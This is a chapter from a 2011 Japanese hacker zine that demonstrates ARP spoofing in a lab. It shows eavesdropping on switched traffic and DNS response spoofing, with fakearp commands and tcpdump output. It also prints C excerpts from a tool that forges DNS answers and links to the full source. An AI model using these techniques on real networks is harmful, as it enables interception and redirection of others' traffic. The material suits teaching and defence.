[-]=======================================================================[-] Wizard Bible vol.52 (2011,6,14) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章：目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章: ARPスプーフィングを利用した攻撃テクニック unya 著 ○第2章: 嘆きの擬似乱数 髙田　勉 著 ○第3章: お知らせ ○第4章: 著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: ARPスプーフィングを利用した攻撃テクニック --- 著者：unya x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに 　今回はARPスプーフィングを利用した攻撃手法について検証します。 　はじめに、ARPスプーフィングを利用することによりスイッチング環境で盗聴が 可能となることを確認します。その後、ARPスプーフィングを利用した攻撃テクニ ックとして、UDPパケットの改ざんを取り上げます。 ■0x02.) 検証環境 　3台のマシンには、それぞれHOST-A、HOST-B、HOST-Cという名前をつけています。 各マシンはスイッチングハブを介して接続します。 ・HOST-A … クライアント（Windows7） ・HOST-B … サーバー（OpenBSD 4.5） ・HOST-C … 攻撃者（FreeBSD 8.1） これらのマシンは以下のように接続されています。 ----- +----------- HOST-A | |----- Router ----- Switch ------- HOST-B | +----------- HOST-C ----- ■0x03.) 盗聴 　リピータハブが使用されていた頃は容易に盗聴することができました。リピータ ハブはコリジョンドメインを共有するため、ネットワーク上のあらゆるフレームが ネットワークインタフェースに到達してしまうためです。 　現在普及しているスイッチングハブはOSIレイヤー2で動作する通信機器です。レ イヤー2はデータリンク層と呼ばれ、MACアドレスを通信の送受信アドレスに使用し ます。リピータハブとは異なりスイッチングハブは送信先のMACアドレスからどの スイッチポートに送信するのか決定するため、送信元と送信先の間で倫理的に1対 1の経路を確立します。そのため、無関係なネットワークインタフェースへ通信が 流れることはありません。これは同時に安易な盗聴を防ぐことが可能であることを 示します。 ●3.1 ARPスプーフィングだけでは実現できない盗聴 　ARPスプーフィングはARPキャッシュを汚染して正しいTCP/IP通信をできなくす る攻撃です。単純にいえば通信妨害です。盗聴するためにはARPスプーフィングが ネットワーク機器にどのような影響を与えるのか知っている必要があります。 　以下の図は正常時のHOST-AとHOST-B間の通信経路です。スイッチを介してHOS T-AとHOST-B間で通信がおこなわれます。 ---- 図3.1-1 通常の通信経路 HOST-A <----------->SW<-----------> HOST-B ---- 　図3.1-1のような通信状態でHOST-AとHOST-Bに対してHOST-CからARPスプーフィ ングをおこない、HOST-AとHOST-B間の通信をHOST-Cへ向かうように仕向けます。 すると、HOST-AとHOST-B間の通信は図3.1-2のようにHOST-Cを経由する通信経路に 変わります。 ---- 図3.1-2 HOST-AとHOST-BにARPスプーフィングを実行後の通信経路 HOST-A ---------->SW<---------- HOST-B || || || || || HOST-C ---- 　ここでひとつ問題が発生します。HOST-Cはルーターではないため、HOST-AとHO ST-Bから送信されてきたフレームを破棄してしまいます。そのため、HOST-AとHO ST-B間の通信は断絶します。 　この問題を解決するためには、HOST-CでHOST-AとHOST-B間のフレームを中継し てやる必要があります。簡単にいうとHOST-Cがルーターになる必要があります。 決めなければならないのは、カーネルでルーティングするか、ユーザーランドで ルーティングするか、それだけです。 ●3.2 IP転送機能を有効にする方法 　単に盗聴をおこなうことが目的ならば、カーネルでルーティングをおこなう方 法が最も確実で手軽です。 　今回はこの方法を採用します。IP転送機能を有効にする方法は、BSDとLinuxの どちらもsysctlコマンドを使用します。 ----- 表3.2-1 IPパケットの転送を有効にするコマンド +-----------------------------------------+ | OS | コマンド | |-------+---------------------------------| | BSD | sysctl net.inet.ip.forwarding=1 | |-------+---------------------------------| | Linux | sysctl -w net.ipv4.ip_forward=1 | +-----------------------------------------+ ----- ●3.3 盗聴の実行例 　それでは、実際にARPスプーフィングをおこなって盗聴できることを確認します。 　攻撃者は自分自身のMACアドレスに加えて、ターゲットとなるふたつのホストの IPアドレスとMACアドレスを知っている必要があります。 ----- 表3.3-1 各ホストのIPアドレスとMACアドレス +--------------------------------------------+ | ホスト名 | IPアドレス | MACアドレス | |----------+-------------+-------------------| | HOST-A | 192.168.2.5 | 00:1b:d3:87:2a:59 | |----------+-------------+-------------------| | HOST-B | 192.168.2.7 | 4c:e6:76:08:96:86 | |----------+-------------+-------------------| | HOST-C | 192.168.2.3 | 00:1f:d0:c0:24:da | +--------------------------------------------+ ----- ○3.3.1 実行手順 　盗聴をおこなう手順は以下のとおりです。 手順 1 - HOST-AからHOST-Bへ連続PINGを実行して応答があることを確認 手順 2 - HOST-AとHOST-Bに対して、HOST-CからARPスプーフィングを実行 手順 3 - HOST-AからHOST-Bへの連続PINGが途絶えることを確認 手順 4 - HOST-CのIP転送機能を有効にする 手順 5 - HOST-AからHOST-Bへの連続PINGが復旧することを確認 手順 6 - HOST-Cでtcpdumpを実行して、HOST-AとHOST-B間のpingのやりとりが盗聴できることを確認する ○3.3.2 HOST-A（クライアント）の実行結果 　はじめに、HOST-AからHOST-Bに対して連続PINGを実行して疎通できることを確 認します[手順 1]。 　その後、[手順 2]でARPスプーフィングを実行したことにより、疎通が途絶える ことを確認します[手順 3]。 　[手順 4]のIP転送機能を有効化したタイミングで疎通が復旧したことを確認し ます[手順 5]。 　以下は、ARPスプーフィングをおこなった際のHOST-AでのPING結果です。 　PINGの結果ではHOST-Cを経由しているのかどうかは分かりません。 -----[HOST-AからHOST-Bへの連続PING] C:\Users\unya>ping -t 192.168.2.7 192.168.2.7 に ping を送信しています 32 バイトのデータ: 192.168.2.7 からの応答: バイト数 =32 時間 <1ms TTL=255 - 192.168.2.7 からの応答: バイト数 =32 時間 <1ms TTL=255 | 192.168.2.7 からの応答: バイト数 =32 時間 <1ms TTL=255 |---手順 1 疎通確認 192.168.2.7 からの応答: バイト数 =32 時間 <1ms TTL=255 | 192.168.2.7 からの応答: バイト数 =32 時間 <1ms TTL=255 - 要求がタイムアウトしました。 - <--手順 2 ARPスプーフィング実行 要求がタイムアウトしました。 | 要求がタイムアウトしました。 |---手順 3 疎通が途絶えることを確認 要求がタイムアウトしました。 | 要求がタイムアウトしました。 - 192.168.2.7 からの応答: バイト数 =32 時間 =1ms TTL=255 - <--手順 4 IPパケット転送開始 192.168.2.7 からの応答: バイト数 =32 時間 =1ms TTL=255 | 192.168.2.7 からの応答: バイト数 =32 時間 =1ms TTL=255 |---手順 5 疎通が復旧することを確認 192.168.2.7 からの応答: バイト数 =32 時間 =1ms TTL=255 | 192.168.2.7 からの応答: バイト数 =32 時間 <1ms TTL=255 - ----- ○3.3.3 HOST-C（攻撃者）の実行結果 　HOST-Cは攻撃者です。HOST-Cでは、HOST-AおよびHOST-Bに対してARPスプーフィ ングを実行します[手順 2]。 　HOST-AとHOST-B間の通信がすべてHOST-Cへ向かうように、送信元MACアドレスを HOST-Cのアドレスに設定します。 　以下は、HOST-CでARPスプーフィングを実行しているところです。 -----[HOST-CでのARPスプーフィング実行] HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.7 -dh 00:1b:d3:87:2a:59 192.168.2.5 Using interface em0 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ＜省略＞ HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.5 -dh 4c:e6:76:08:96:86 192.168.2.7 Using interface em0 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ＜省略＞ ----- 　この時点でHOST-AとHOST-B間の通信は途絶しています[手順 3]。 　途絶が確認できたところで、HOST-CでIPパケットの転送機能を有効にします[手順 4]。 　パケット転送機能を有効にするまで、HOST-AとHOST-B間の通信は復旧しません。 　以下は、FreeBSDでIPパケットの転送を有効にしているところです。 -----[IP転送機能を有効化] HOST-C# sysctl net.inet.ip.forwarding=1 net.inet.ip.forwarding: 0 -> 1 ----- 　IP転送機能を有効化することにより、HOST-AとHOST-B間の通信が復旧します[手順 5]。 　HOST-Cでtcpdumpを実行し、HOST-Cを通過してHOST-AとHOST-B間の連続PINGが継 続されていることを確認します[手順 6]。 　以下は、HOST-Cでのtcpdump実行結果です。 -----[HOST-Cでのtcpdump実行] IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 111, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 112, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 113, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 113, length 40 IP 192.168.2.3 > 192.168.2.5: ICMP redirect 192.168.2.7 to host 192.168.2.7, length 36 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 113, length 40 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 113, length 40 IP 192.168.2.3 > 192.168.2.7: ICMP redirect 192.168.2.5 to host 192.168.2.5, length 36 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 114, length 40 IP 192.168.2.5 > 192.168.2.7: ICMP echo request, id 1, seq 114, length 40 IP 192.168.2.3 > 192.168.2.5: ICMP redirect 192.168.2.7 to host 192.168.2.7, length 36 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 114, length 40 IP 192.168.2.7 > 192.168.2.5: ICMP echo reply, id 1, seq 114, length 40 IP 192.168.2.3 > 192.168.2.7: ICMP redirect 192.168.2.5 to host 192.168.2.5, length 36 ----- 　tcpdumpの結果から、HOST-AとHOST-B間のPINGのやりとりを確認することができ ます。 　なお、ICMPリダイレクトが出ているので簡潔に説明すると、ICMPリダイレクト とは受信したデータグラムが他のネットワーク機器に送信されるべきときに、送 信元へ送られるエラーメッセージです。今回はカーネルレベルでIPパケット転送 機能を有効化したため、ICMPリダイレクトパケットが送信されました。 　実際の攻撃では[手順 4]のIP転送機能の有効化は最初に実行します。今回はAR PスプーフィングによってHOST-AとHOST-B間の通信が途絶することを確認するため に手順をずらしています。 ■0x04.) DNSスプーフィング 　ARPスプーフィングの特徴は、攻撃者がふたつのネットワーク機器間の通信経路 を制御できる点です。攻撃者は自らが掌握しているネットワーク機器を経由する ように通信経路を操作することができます。これが意味するところは、盗聴が可 能であるのと同時に通信の改ざんも可能であるということです。特にUDPのような プロトコル自体に信頼性を保証する機能がない通信については、容易に改ざんが 可能となります。このことを検証するために、DNSパケットの改ざんをおこないま す。 ●4.1 DNSとは 　DNS（Domain Name System）は、TCP/IP通信を利用する際にホスト名とIPアドレ スをマッピングするための分散型データベースシステムであり、あらゆるTCP/IP 通信で参照される最も重要なプロトコルのひとつです。 　今回は、DNSプロトコルでやりとりされるパケットの構造とその中身についての 説明をおこない、おしまいに実際にDNSスプーフィングを実行します。 ●4.2 DNS質問パケットの構造 　DNSには質問と、それに対する回答があります。まずはDNS質問パケットの構造 からみていきます。 ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 識別子 | フラグ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 質問数 | 回答RR数 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 権威RR数 | 追加RR数 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 質問RR（可変長） | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- 　先頭から12バイトを「識別子」「フラグ」「質問数」「回答RR数」「権威RR数」 「追加RR数」の固定長フィールドが占め、最後に可変長の質問フィールドが続き ます。 ○4.2.1 「識別子」と「フラグ」 　「識別子」はクライアントによって設定され、サーバーにより返されます。ク ライアントはこの値からどの質問に対する回答であるのか判断できます。「フラ グ」は16ビットのフィールドで、以下のような構造となります。 ----- +------------------------------------------------------------+ | qr | opcode | aa | tc | rd | ra | unused | ad | cd | rcode | +------------------------------------------------------------+ ----- ・[qr]は1ビットのフィールドで、0であれば照会であり1であれば回答となります。 ・[opcode]は4ビットのフィールドで、0であれば標準照会、1であれば逆照会、2 であればサーバーステータス要求となります。 ・[aa]は1ビットのフィールドで、権威ある回答であれば1となります。 ・[tc]は1ビットのフィールドで、不完全パケットである場合に1となり、UDPであ れば応答パケットが512バイトを超えたため、最初の512バイトだけが送信されて いることを示します。 ・[rd]は1ビットのフィールドで、1でれば再帰要求を意味します。このフィール ドが0であり、要求されたネームサーバーが権威ある回答をできなければ、要求さ れたネームサーバーは他のネームサーバーのリストを返します。 ・[ad]と[cd]はそれぞれ1ビットのフィールドです。これらのフラグはDNSSEC対応 リゾルバとDNSSEC対応再帰ネームサーバーの間で使用されます。 ○4.2.2 「質問数」「回答RR数」「権威RR数」「追加RR数」 　「質問数」は通常、1となります。回答パケットで値が設定される「回答RR数」 「権威RR数」「追加RR数」はすべて0となります。 ○4.2.3 質問フィールド 　質問フィールドは可変長の「照会名」、16ビットの「照会タイプ」と「照会ク ラス」から構成されます。 ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 照会名（可変長） | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 照会タイプ | 照会クラス | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- 4.2.4 「照会名」 　「照会名」は可変長になっており、google.comを例にすると以下のような構造 となります。 ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |6|g|o|o|g|l|e|3|c|o|m|0| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | カウント カウント カウント ----- 　はじめの1バイトは以降に続くバイト数のカウントです。値は「6」なので6バイ トたどると「google」となります。 　次のカウントの値は「3」となります。3バイトたどると「com」です。次のカウ ントの値は「0」となっているので、それ以上たどる必要がないことを示していま す。これにより、「照会名」がgoogle.comであることがわかります。 ○4.2.5 「照会タイプ」と「照会クラス」 　「照会タイプ」は照会内容を示すもので、回答パケットの場合は回答内容を示 す回答タイプとなります。 　これらのタイプは以下のようなものがあります。 ----- 代表的なタイプ一覧 +---------------------------------------------------+ | タイプ名 | 値 | 意味 | 照会 | 回答 | |----------+-----+--------------------+------+------| | A | 1 | IPv4アドレス | ○ | ○ | | NS | 2 | ネームサーバー | ○ | ○ | | CNAME | 5 | 正規名 | ○ | ○ | | PTR | 12 | ポインタレコード | ○ | ○ | | HINFO | 13 | ホスト情報 | ○ | ○ | | MX | 15 | メール交換レコード | ○ | ○ | | AAAA | 28 | IPv6アドレス | ○ | ○ | |----------+-----+--------------------+------+------| | AXFR | 252 | ゾーン転送要求 | ○ | × | | ANY | 255 | 全レコード要求 | ○ | × | +---------------------------------------------------+ ----- 　「照会クラス」は通常、1となります。 ●4.3 DNS回答パケット ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - | 識別子 | フラグ | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | 質問数 | 回答RR数 | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |-- 質問・回答共通 | 権威RR数 | 追加RR数 | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | 質問RR（可変長） | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ = | 回答RR（回答RR数に応じて可変長） | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | 権威RR（権威RR数に応じて可変長） | |-- 回答時に付加 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | 追加情報RR（追加RR数に応じて可変長） | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - ----- 　DNS回答パケットは、質問パケットに「回答」「権威」「追加情報」を付加した ものとなります。 ○4.3.1 「識別子」と「フラグ」 　「識別子」はクライアントが設定したものを返し、クライアントがどの質問へ の回答なのか識別できるようにします。 　「フラグ」は、[qr」ビットを1にして回答であることを通知します。 ○4.3.2 「質問数」「回答RR数」「権威RR数」「追加RR数」 　「質問数」に変更はありません。「回答RR数」は最低でも1です。 　「権威RR数」「追加RR数」は0もしくは非0です。 ○4.3.3 RRレコード構造 　「回答RR」「権威RR」「追加情報RR」は共通のRR（リソースレコード）構造を もちます。 ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ドメイン名（可変長） | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | タイプ | クラス | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TTL | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | データ長 | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | リソースデータ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- ・「ドメイン名」は4.2.4で解説している「照会名」と同一の形式です。 ・「タイプ」と「クラス」は4.2.5で解説している内容とかわりません。 ・「TTL」はクライアントがRRを保持する時間を秒数であらわします。 ・「データ長」は「タイプ」によってかわります。たとえば、タイプA（IPv4）な らばIPv4アドレスのサイズである4が入ります。 　以上、簡単ですがDNSパケットフォーマットの解説でした。 　これらの情報を元にDNSスプーフィングについての解説に入ります。 ●4.4 DNSスプーフィングの検証 　この攻撃は、クライアントの問い合わせに対してDNSサーバーから送信されてく る名前解決の結果を書き換えます。例として、google.comの名前解決の結果が「 1.2.3.4」となるようにDNSスプーフィングをおこないます。 　スプーフィングを実行するにあたり、スプーフィングの対象とする条件を決め る必要があります。今回は、質問RRの「照会名」がgoogle.comに一致したら回答 RRのIPアドレスを1.2.3.4に書き換えるものとします。 ○4.4.1 DNSスプーフィングの流れ 　DNSスプーフィングの流れは以下のようになります。 1. DNSパケットがスプーフィング対象であるか確認 2. DNS回答結果を改ざん 3. クライアントへ改ざんしたDNS回答結果を送信 4.4.2 回答タイプの確認 　DNSサーバーからの回答がIPv4アドレスを返しているとは限りません（照会タイ プを思い出してください）。今回はIPv4アドレスの改ざんをおこなうので、回答が IPv4アドレスであることを確認します。4.2.5で解説しているとおり、IPv4アドレ スであればタイプAとなります。この値はarpa/nameser_compat.hで定義されています。 ○4.4.3 照会名の確認 　「照会名」は単純にgoogle.comとヘッダーに記録されているわけではありませ ん。4.2.4で解説したようにカウントの値を元に照会名を調べます。google.comな らばDNSヘッダーには以下のように記録されているはずです。 ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |6|g|o|o|g|l|e|3|c|o|m|0| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | カウント カウント カウント ----- 　DNSヘッダーから照会名を得るために、サンプルコードでは以下のような実装を おこないます。 ----- dnsspoof.c static int get_qname(char *dst, char *name) { int i; char nbyte; char *p; char *dstp; dstp = dst; p = name; nbyte = *p++; while (nbyte) { for (i = 0; i < nbyte; i++) *dstp++ = *p++; nbyte = *p++; *dstp++ = '.'; } *--dstp = '\0'; return (p - name); } ----- ○4.4.4 回答RR数の改ざん 　複数の回答結果がある場合、すべての回答結果を改ざんすることは手間がかか るためひとつにまとめます。いくつ回答があるのかは、「回答RR数」でわかりま す。今回は回答がいくつあったのかは考慮していません。常にこの値を「1」に書 き換えてスプーフィングを実行します。 ○4.4.5 権威RR数と追加RR数の改ざん 　回答RR数を「1」に書き換え、権威RR数と追加RR数を「0」に書き換えることに より、DNSの回答パケットを以下のように単純化します。 ----- 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 識別子 | フラグ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 質問数 | 回答RR数 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 権威RR数 | 追加RR数 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 質問（可変長） | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 回答 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----- 　サンプルコードの実装では以下のように各フィールドに値を設定します。 ----- dnsspoof.c /* DNSヘッダー再設定 */ dns->ancount = htons(1); dns->arcount = 0; dns->nscount = 0; ----- ○4.4.6 IPアドレス書き換え 　回答RRに含まれるIPアドレスを書き換えることにより、スプーフィングの準備 は整います。質問RRと回答RRは可変長であるため、IPアドレスを書き込むメモリ アドレスを正確に計算する必要があります。 　サンプルコードの実装では、以下のようにして回答RRの書き換えと送信を行い ました。 ----- dnsspoof.c 1 static int 2 send_dnsans(struct ip *ip, int spoof, HEADER *dns, QFOOTER *qf, int qnamelen) 3 { 4 struct sockaddr_in sin; 5 struct udphdr *udp; 6 char *ansptr; /* DNS回答書き込みポインタ */ 7 char *addrptr; /* アドレス書き込みポインタ */ 8 int dnspacketsize = 0; 9 char dnscode[] = 10 "\xc0\x0c" /* ホスト名へのオフセット */ 11 "\x00\x01" /* Type A */ 12 "\x00\x01" /* Class IN */ 13 "\x00\x00\x07\x08" /* TTL */ 14 "\x00\x04"; /* Length */ 15 16 udp = (struct udphdr *)((char *)ip + (ip->ip_hl<<2)); 17 18 memset(&sin, 0, sizeof(struct sockaddr_in)); 19 sin.sin_family = AF_INET; 20 sin.sin_addr = ip->ip_dst; 21 sin.sin_port = udp->uh_dport; 22 23 /* アドレス書き換え */ 24 if (spoof) { 25 dnspacketsize = sizeof(struct udphdr) + sizeof(HEADER) + 26 qnamelen + sizeof(QFOOTER) + sizeof(dnscode) + 4; 27 /* DNSヘッダー再設定 */ 28 dns->ancount = htons(1); 29 dns->arcount = 0; 30 dns->nscount = 0; 31 32 /* 回答へのポインタ */ 33 ansptr = (char *)((char *)qf + sizeof(QFOOTER)); 34 /* アドレスフィールドへのポインタ */ 35 addrptr = ansptr + sizeof(dnscode); 36 /* 回答書き換え */ 37 memcpy(addrptr - 1, &in_spoofip.s_addr, sizeof(in_spoofip.s_addr)); 38 39 /* UDPヘッダー再設定 */ 40 udp->uh_sum = 0; 41 udp->uh_ulen = htons(dnspacketsize); 42 43 ip->ip_len = BSDFIX((ip->ip_hl<<2) + dnspacketsize); 44 45 } 46 /* ip->ip_len を再設定 */ 47 else { 48 ip->ip_len = BSDFIX(ntohs(ip->ip_len)); 49 } 50 51 if (spoof) 52 printf("Sending %d bytes ... ", BSDUFIX(ip->ip_len)); 53 54 return (sendto(sd, ip, BSDUFIX(ip->ip_len), 0, (struct sockaddr *)&sin, 55 sizeof(struct sockaddr_in))); 56 } ----- ○4.4.7 IPパケットの転送 　ネットワークを流れているパケットを改ざんするためには、まず対象パケット の流れる方向を変える必要があります。具体的には対象となるパケットがDNSスプ ーフィングプログラムを実行するネットワーク機器を経由するように仕向ける必 要があります。 　はじめに「3. 盗聴」で実行したようにARPスプーフィングを利用して通信の流 れを変えます。ひとつ違うのは、IPパケットの転送をカーネルでおこなうのでは なくユーザーランドでおこないます。これは、カーネルで実行するとパケットの 改ざんをおこなう前にカーネルがIPパケットの転送をおこなってしまうためです。 　今回はDNSのみを対象とするため、ポート番号が53番である場合にDNSスプーフ ィングを実行します。 　詳細はサンプルコードを参照してください。FreeBSDで動作の確認をおこなって います。 ○4.4.8 ARPスプーフィング実行 　「3.3 盗聴の実行例」でおこなったように、HOST-AとHOST-Bに対してARPスプー フィングをおこない、HOST-Cを経由するように仕向けます。 ----- HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.7 -dh 00:1b:d3:87:2a:59 192.168.2.5 Using interface em0 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ARP request 192.168.2.7 00:1f:d0:c0:24:da > 192.168.2.5 00:1b:d3:87:2a:59 ＜省略＞ HOST-C# ./fakearp -i em0 -sh 00:1f:d0:c0:24:da -sp 192.168.2.5 -dh 4c:e6:76:08:96:86 192.168.2.7 Using interface em0 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ARP request 192.168.2.5 00:1f:d0:c0:24:da > 192.168.2.7 4c:e6:76:08:96:86 ＜省略＞ ----- ○4.4.9 DNSスプーフィング動作検証 　準備は整いました。HOST-CでDNSスプーフィングをおこない、HOST-AのDNSリゾ ルバをだますことができることを確認します。 　プログラムを実行後、google.comの名前解決に対する回答を検知すると回答内 容を改ざんしてクライアントへ送信します。 ----- HOST-C# ./a.out google.com em0 1.2.3.4 Starting ./a.out interface em0 ether 00:1f:d0:c0:24:da snaplen 65535 bytes target host google.com spoof IP 1.2.3.4 ########## DNS Spoofing ########## id : 16875 type : 1 class : 1 entry : 2 query : google.com spoof : google.com dns qr: 1 qtype : 1 Sending 73 bytes ... 73 bytes sended ----- 　上記のHOST-Cの出力結果から、google.comの名前解決結果を書き換えているこ とがわかります。 　この出力結果は、以下のHOST-Aからgoogle.comへpingを実行した際のものです。 ----- C:\Users\unya> ping google.com google.com [1.2.3.4]に ping を送信しています 32 バイトのデータ: Ctrl+C ^C C:\Users\unya> ----- 　上記のとおり、DNS回答パケットが改ざんされていることがわかります。 ■0x05.) 参考文献 [1]「詳解TCP/IP〈Vol.1〉プロトコル」ピアソンエデュケーション [2]「DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION」RFC 1035 [3]「Protocol Modifications for the DNS Security Extensions」 RFC 4035 ■0x06.) サンプルコード http://routehack.org/pub/throughme/ x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x 